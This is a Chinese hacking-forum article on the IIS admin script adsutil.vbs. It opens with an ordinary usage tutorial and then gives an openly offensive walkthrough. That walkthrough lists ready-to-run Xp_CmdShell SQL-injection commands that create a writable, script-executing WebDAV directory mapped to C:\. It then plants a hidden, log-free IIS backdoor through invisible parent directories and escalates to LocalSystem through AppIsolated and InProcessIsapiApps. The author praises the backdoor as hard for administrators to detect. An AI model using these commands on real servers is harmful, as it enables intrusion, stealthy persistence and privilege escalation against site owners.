Adsutil.vbs 在脚本攻击中的妙用[我非我原创] |
一、简单介绍&npps; adsutil.vbs是什么?相信用过IIS的网管员不会不知道 。这是IIS自带的提供于命令行下管理IIS的一个脚本 。位于%SystemDrive%\Inetpub\AdminScripts目录下 。足足有95,426 字节大小 。这么大的脚本一看就知道功能强大 。事实也的确如此 。基本上我的感觉它就是个命令行下的“Internet 信息服务管理器” 。(事实上2000的服务器上%SystemDrive%\Inetpub\AdminScripts下原有20多个vbs文件以供管理 。而到了2003则只剩下adsutil.vbs一个了 。足以说明它的功能是多么复杂) 提到adsutil.vbs就不得不提到MetaBase.bin 。这个文件是IIS最重要的配置文件 。所有对IIS的设置最终都会储存在这个文件中 。IIS管理器和adsutil.vbs就是通过对这个文件读取配置信息来显示给用户的 。MetaBase.bin的储存结构十分像注册表,是一种树型储存结构 。IIS管理器和adsutil.vbs通过一个Adspath的路径来访问MetaBase.bin 。路径是由IIS:\开头,其中LocalHost表示本地服务器,而w3svc表示IIS服务 。如IIS:\LocalHost/w3svc/1表示本地服务器上的第一个web站点 。IIS:\LocalHost/w3svc/1/root/Vdir表示第一个web站点根目录下的Vdir虚拟目录 。 有了这些前置知识,下面再回到adsutil.vbs来看看它的用法吧: C:\Inetpub\AdminScripts>cscript adsutil.vbs //别忘了键入cscript.exe这个脚本宿主文件名哦 Microsoft (R) Windows Script Host Version 5.6 版权所有(C) Microsoft Corporation 1996-2001 。保留所有权利 。 Usage: ADSUTIL.VBS <cmd> [<path> [<value>]] Description: IIS administration utility that enables the configuration of metabase properties . Supported Commands: //支持的命令 。这个最重要 GET, SET, ENUM, DELETE, CREATE, COPY, APPCREATEINPROC, APPCREATEOUTPROC, APPCREATEPOOLPROC, APPDELETE, APPUNLOAD, AP PGETSTATUS Samples: //简单的几个例子 adsutil.vbs GET W3SVC/1/ServerBindings //查看第一个虚拟web站点的邦定端口 。这里的W3SVC/1是IIS:\ LocalHostW3SVC/1的简写,而ServerBindings是他的属性 。下同 。 adsutil.vbs SET W3SVC/1/ServerBindings ":81:" //设定第一个虚拟web站点的邦定端口为81 。 adsutil.vbs CREATE W3SVC/1/Root/MyVdir "IIsWebVirtualDir" //在第一个虚拟web站点根目录下建立一个MyVdir的虚拟目录 。后面的"IIsWebVirtualDir"指的是目录类型 。 adsutil.vbs START_SERVER W3SVC/1 //启动第一个虚拟web站点 。 adsutil.vbs ENUM /P W3SVC //查看IIS的所有站点 。 For Extended Help type: adsutil.vbs HELP //如果想要进一步的查看帮助,键入此命令 。我这里就不转了 。防止有人说我赚稿费 。大家可以自己看看 。 以上“//”后的文字都是我添加上去的注释(下同) 。相信这样应该可以看懂了吧大家 。 我们所常用的adsutil.vbs的命令有这么几个:GET, SET, ENUM, DELETE, CREATE 。现在我来一一说明: GET命令通常是用来查看目录的各项属性值的 。SET是用来设定目录属性用的 。ENUM也是用来查看属性 。所不同的是他直接把所有设置了的属性直接全部显示出来 。通常一个目录就有好几页东西可看……他有个可选的“/p”开关符 。加上了此开关的话 。他只会列出此目录下的所有虚拟目录 。DELETE命令是用来删除虚拟目录的 。CREATE则是创建一个虚拟目录 。另外还有几个命令:START_SERVER、STOP_SERVER、PAUSE_SERVER、CONTINUE _SERVER 。分别是启动、停止、暂停、继续虚拟站点的运行 。 一个虚拟目录的大致属性值如下(我只列出了可能我们所常用的,否则会太长了): KeyType : (STRING) "IIsWebVirtualDir" //目录类型,(STRING)说明它是个字符串类型的属性 AppRoot : (STRING) "/LM/W3SVC/1/ROOT" //目录IIS路径 AppFriendlyName : (STRING) "默认应用程序" //应用程序名 AppIsolated : (INTEGER) 2 //指定运行于进程外还是进程中,数字类型属性 。 HttpCustomHeaders : (LIST) (1 Items) //自定义IIS数据头 "Powered By : www.WoFeiWo.Info" HttpErrors : (LIST) (42 Items) //各种IIS代码所返回的页面 。可以自行设置 。我这里将会显省略了 。 DefaultDoc : (STRING) "Default.htm,index.htm,Default.asp,in dex.asp,Default.php,index.php,Default.aspx,index.aspx" //目录的默认主页面名称 。 Path : (STRING) "D:\ftp" //目录所真正映射的物理路径 AccessFlags : (INTEGER) 513 //我也不知道这是啥 。反正没设置过 。好像会自动设置的 AccessExecute : (BOOLEAN) False //目录的执行权限,是布尔值 AccessSource : (BOOLEAN) False //目录的Webdav访问是否允许 AccessRead : (BOOLEAN) True //目录的只读权限 AccessWrite : (BOOLEAN) False //目录的写权限 AccessScript : (BOOLEAN) True //目录是否允许执行脚本 AccessNoRemoteExecute : (BOOLEAN) False AccessNoRemoteRead : (BOOLEAN) False AccessNoRemoteWrite : (BOOLEAN) False AccessNoRemoteScript : (BOOLEAN) False AccessNoPhysicalDir : (BOOLEAN) False ScriptMaps : (LIST) (27 Items) //应用程序扩展名映射 ".asa,C:\WINDOWS\system32\inetsrv\asp.dll,5,GET,HEAD,POST,TRACE" ".asp,C:\WINDOWS\system32\inetsrv\asp.dll,5,GET,HEAD,POST,TRACE" ".aspx,C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,1,GET,HEA D,POST,DEBUG" ……………… //这里省略了n多数据 AspEnableParentPaths : (BOOLEAN) True AppPoolId : (STRING) "DefaultAppPool" //应用程序池名称 DontLog : (BOOLEAN) True //禁止IISLog纪录 DirBrowseFlags : (INTEGER) -1073741762 EnableDirBrowsing : (BOOLEAN) True //目录是否允许列目录 DirBrowseShowDate : (BOOLEAN) True //这里及以下都是显示目录时的参数设置 。英文都很简单 。我也就不多说了 。 DirBrowseShowTime : (BOOLEAN) True DirBrowseShowSize : (BOOLEAN) True DirBrowseShowExtension : (BOOLEAN) True DirBrowseShowLongDate : (BOOLEAN) True EnableDefaultDoc : (BOOLEAN) True //是否开启默认主页文档 以上是我用cscript adsutil.vbs ENUM w3svc/1/root命令在自己机器上察看到的 。大家也可以自己输入以上命令研究 。 上面的属性我们都可以来通过SET命令来进行设置 。如下方式: cscript adsutil.vbs SET w3svc/1/root/目录名/属性名 设置值 如:cscript adsutil.vbs SET w3svc/1/root/wofeiwo/AccessRead 1 //设置第一个虚拟web站点下的wofeiwo虚拟目录的可读权限为Ture 或:cscript adsutil.vbs SET w3svc/1/root/wofeiwo/Path “C:\” //设置目录的映射路径是“C:\” 下面来看看我们的简单利用的例子 二、adsutil.vbs的利用 (一)MSSQL Injection的上传新思路 或许大家会在MSSQL的注入中碰到这种情况:SA权限 。可以执行Cmd命令(xp_cmdshell、sp_OACreate、Job等等) 。可是服务器是在内网 。外面是个堡垒主机 。只是做了个80端口的映射 。3389开了没有用(内网连不上啊),所有反向木马也传不上去(Tftp、Ftp、Wget、exe2bat等等)这时候你该怎么办? Amanl大哥经典的《榨干MSSQL最后一滴血》给我们一个很好的思路:就是利用%SystemDrive%\Inetpub\AdminScripts下的vbs建立一个新的虚拟目录 。自定义其映射的绝对路径 。这样可以绕过了对web绝对路径的猜解 。然后通过BACKUP或MASKWEBTASK备份数据库或临时表到虚拟目录下(或是直接echo)就可以得到了一个shell 。 上面的想法的确很好 。可是用过臭要饭的GetWebShell或小竹的NBUpFile的人都知道BACKUP或MASKWEBTASK的成功率有多么的低……而echo……我也不想说了 。一行一行写那简直是找罪受 。(还要不停的转特殊字符……) 其实我们可以把Amanl大哥的想法改进一下 。在我们建立一个新的虚拟目录的时候 。可以加上写目录的权限 。再加上Webdav……那么我们不久可以直接通过IIS上传任何文件了吗?也不仅仅局限于文本文件了 。如果我们上传了个反向后门在通过SA执行……呵呵,一切就都搞定了! 来,马上实行: Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs CREATE w3svc/1/Root/wofeiwo "IIsWebVirtualDir";-- Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs cscript adsutil.vbs SET w3svc/1/root/wofeiwo/Path “C:\”;-- 注意上面的特殊字符要自己转变 。或者你可以用NBSI2或者小路的SQLCOMM来执行以上命令 。 这样我们就在第一个web站点下建立了一个wofeiwo的虚拟目录,映射到了C:根目录 。我再给他加上读和写的权限,为了要一个webshell ,我再加上执行脚本的权限: Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessRead 1;-- Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessWrite 1;-- Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessScript 1;-- 写到这看过Surperhei《对IIS写权限的利用》的朋友可能会想要自己构造http包来上传文件 。其实有更简单的方法: Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/EnableDirBrowsing 1;-- Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessSource 1;-- 设置为允许列目录和webdav访问,然后打开你的IE,Ctrl+O打开“打开”对话框,键入你刚才设置的虚拟目录 。选中“以Web文件夹方式打开”,确定 。如图: 图一 啊哈!看到所有的文件夹了吗?如图所示: 图二 现在你就可以像操作普通文件夹一样操作以上文件了 。还可以Ctrl+C、Ctrl+V复制文件呢 。实现了方便上传、修改文件的功能 。 (二)更进一步 其实我们完全可以更进一步利用上面所说的思路直接制作一个IIS后门 。来,看我的实现!(这里使用了动鲨在《近乎完美的IIS后门》中所介绍的方法 。不过我是直接用adsutil.vbs这个MS自带的工具完成了设置 。对此文章感兴趣的朋友可以自己找来看看 。) Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs CREATE w3svc/1/Root/wofeiwo "IIsWebVirtualDir";-- //首先建立一个wofeiwo目录 。 Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs CREATE w3svc/1/Root/wofeiwo/door "IIsWebVirtualDir";-- //在wofeiwo目录下又建立了一个door目录 。 Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs cscript adsutil.vbs SET w3svc/1/root/wofeiwo/door/Path “C:\”;-- //设置door目录映射到C:根目录 。 Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessRead 1;-- //这里及以下都是给目录设置个种权限 。可以参考以上的命令注释 。 Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessWrite 1;-- Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessScript 1;-- Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/DontLog 1;-- Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/EnableDirBrowsing 1;-- Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessSource 1;-- Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessExecute 1;-- 可能会有人说,什么阿 。不就是和上面的一样吗?呵呵 。其实你仔细看 。会发现我们上面新建的第一个目录“wofeiwo”并没有设置“Path”属性 。也就是说他没有映射到任何实际的目录上去 。这里应用了IIS的一个漏洞(涉及到IIS5.0.1.0) 。即对于没有“Path”属性的虚拟目录是不会在IIS管理器中出现的 。相当于一个隐藏的目录 。而其下的虚拟目录“door”同样是由于上级目录不可见的,所以它也是不可见的!但是“door”目录是设置了“Path”属性的 。所以如果我们提交http://IP/wofeiwo/door/ 路径 。其结果是会返回C:下的文件目录 。现在此目录已经是我们可以任意写文件读文件了 。并且还可以转到System32目录下对程序进行运行 。我们的后门雏形建成了 。(注意看我这里是加上了AccessExecute执行权限的) 但是我们现在执行的程序都还是IIS默认的IUSR用户的Guest权限 。没有大的权限我们总是不爽 。下面来提升我们的权限,加IUSR用户为管理员就不说了 。下面说说另两个方法: 1、设置AppIsolated,使此目录下程序在IIS的进程中进行 。这样就继承了IIS的System权限 。 Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/ AppIsolated 0;-- 2、 将解析asp文件的asp.dll加入到IIS的特权dll中 。使得其在进程中运行 。从而的到IIS的LocalSystem权限 。 1)首先得到IIS所有的特权dll Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs GET w3svc/InProcessIsapiApps;-- 返回: InProcessIsapiApps : (LIST) (5 Items) "C:\WINDOWS\system32\inetsrv\httpext.dll" "C:\WINDOWS\system32\inetsrv\httpodbc.dll" "C:\WINDOWS\system32\inetsrv\ssinc.dll" "C:\WINDOWS\system32\msw3prt.dll" "C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll" 2) 将asp.dll设置到InProcessIsapiApps组中去,这里要注意,把上面的所有查到的dll都加上,否则会被删除 。 Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/InProcessIsapiApps "C:\WINDOWS\system32\inetsrv\httpext.dll" "C:\WINDOWS\system32\inetsrv\httpodbc.dll" "C:\WINDOWS\system32\inetsrv\ssinc.dll" "C:\WINDOWS\system32\msw3prt.dll" "C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll" "C:\WINDOWS\system32\inetsrv\asp.dll";-- 返回: InProcessIsapiApps : (LIST) "C:\WINDOWS\system32\inetsrv\httpext.dll" "C:\WINDOWS\system32\inetsrv\httpodbc.dll" "C:\WINDOWS\system32\inetsrv\ssinc.dll" "C:\WINDOWS\system32\msw3prt.dll" "C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll" "C:\WINDOWS\system32\inetsrv\asp.dll" 这样就设置好了 。以后无论什么asp文件就都是 LoaclSystem权限了 。通过以上的步骤 。我们的IIS后门基本上就是设置好了 。你可以上传asp木马加以辅助控制 。这样的设置型后门是很难被管理员发现的 。并且完全通过IIS的80端口通讯 。又没有日志记录 。所以相当安全 。 三、结言 到这里我关于adsutil.vbs的一点简单应用就结束了 。突然发现文章已经写了那么多了 。哇啊啊……文章写得好累阿 。由于本人是一菜鸟 。文章难免有疏漏 。还请大家多多指教 。有什么疑问请和我联系 。我的邮箱:wofeiwo@bugkidz.org 。或者大家可以到火狐技术联盟http://www.wrsky.com来找我 。我的ID:我非我 。是论坛新手版的版主 。 |